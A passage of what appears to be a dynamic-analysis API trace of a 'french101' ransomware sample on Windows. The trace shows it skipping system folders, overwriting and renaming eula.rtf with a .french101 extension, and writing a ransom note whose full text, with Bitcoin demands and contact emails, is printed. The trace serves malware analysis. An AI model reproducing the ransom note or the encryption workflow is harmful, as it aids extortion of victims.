lpMultiByteStr=0x3f39f30, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0282.027] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.027] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.027] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.028] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.028] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.028] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.028] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.028] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.028] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.028] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.028] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0282.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa48, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0282.028] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.028] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0282.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0282.028] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.028] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0282.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0282.028] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.028] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0282.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f48, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0282.028] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.029] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.029] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.029] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.029] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.029] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.029] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.029] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.029] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.029] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0282.029] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0282.029] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0282.029] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0282.029] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0282.030] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0282.030] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0282.030] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0282.030] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@癤έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0282.030] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.030] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0282.030] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0282.030] SHGetPathFromIDListW (in: pidl=0x6e46a8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0282.030] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0282.030] IMalloc:Free (This=0x75e4d000, pv=0x6e46a8) [0282.030] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0282.031] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0282.031] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.031] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.031] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.031] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.031] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.031] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.035] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.036] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.036] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.036] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0282.036] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.036] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.036] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0282.036] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.036] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.036] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.036] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.036] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.036] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.036] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.036] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.036] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.036] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.037] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.037] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0282.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0282.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\я" (normalized: "c:\\588bce7c90097ed212\\1053\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.039] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0282.040] CloseHandle (hObject=0x308) returned 1 [0282.040] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\я" (normalized: "c:\\588bce7c90097ed212\\1053\\я")) returned 1 [0282.041] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0282.041] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0282.041] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0282.041] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0282.041] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x20) returned 1 [0282.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.042] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.042] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xf19 [0282.042] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.042] SetFilePointer (in: hFile=0x308, lDistanceToMove=3865, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xf19 [0282.042] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0282.103] CloseHandle (hObject=0x308) returned 1 [0282.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xf1a [0282.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0282.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=3865, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf19 [0282.104] SetEndOfFile (hFile=0x308) returned 1 [0282.106] CloseHandle (hObject=0x308) returned 1 [0282.107] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.107] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.107] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf19 [0282.107] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.107] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.108] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.108] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf19 [0282.108] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0282.108] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.109] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.109] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0282.109] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.109] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.109] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0282.109] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.109] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0282.109] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0282.109] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.110] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0282.110] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0282.110] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0282.110] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xf19 [0282.110] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0282.110] SetFilePointer (in: hFile=0x308, lDistanceToMove=3865, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xf19 [0282.110] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0282.125] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0282.125] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.125] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.126] CloseHandle (hObject=0x308) returned 1 [0282.127] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\YHEFAZ=+peduHPilVNvACk.french101" (normalized: "c:\\588bce7c90097ed212\\1053\\yhefaz=+peduhpilvnvack.french101")) returned 1 [0282.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\YHEFAZ=+peduHPilVNvACk.french101" (normalized: "c:\\588bce7c90097ed212\\1053\\yhefaz=+peduhpilvnvack.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.127] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0282.128] CloseHandle (hObject=0x308) returned 1 [0282.128] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\YHEFAZ=+peduHPilVNvACk.french101", dwFileAttributes=0x80) returned 1 [0282.128] CloseHandle (hObject=0x308) returned 0 [0282.128] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.128] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.128] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.128] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.128] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0282.128] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.128] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.128] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0282.129] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.129] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0282.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0282.129] GetLastError () returned 0x2 [0282.129] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1053\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.129] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0282.131] CloseHandle (hObject=0x308) returned 1 [0282.131] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.131] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.131] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.131] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0282.131] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0282.131] GlobalUnlock (hMem=0x3f40014) returned 0 [0282.131] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0282.131] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.131] GlobalHandle 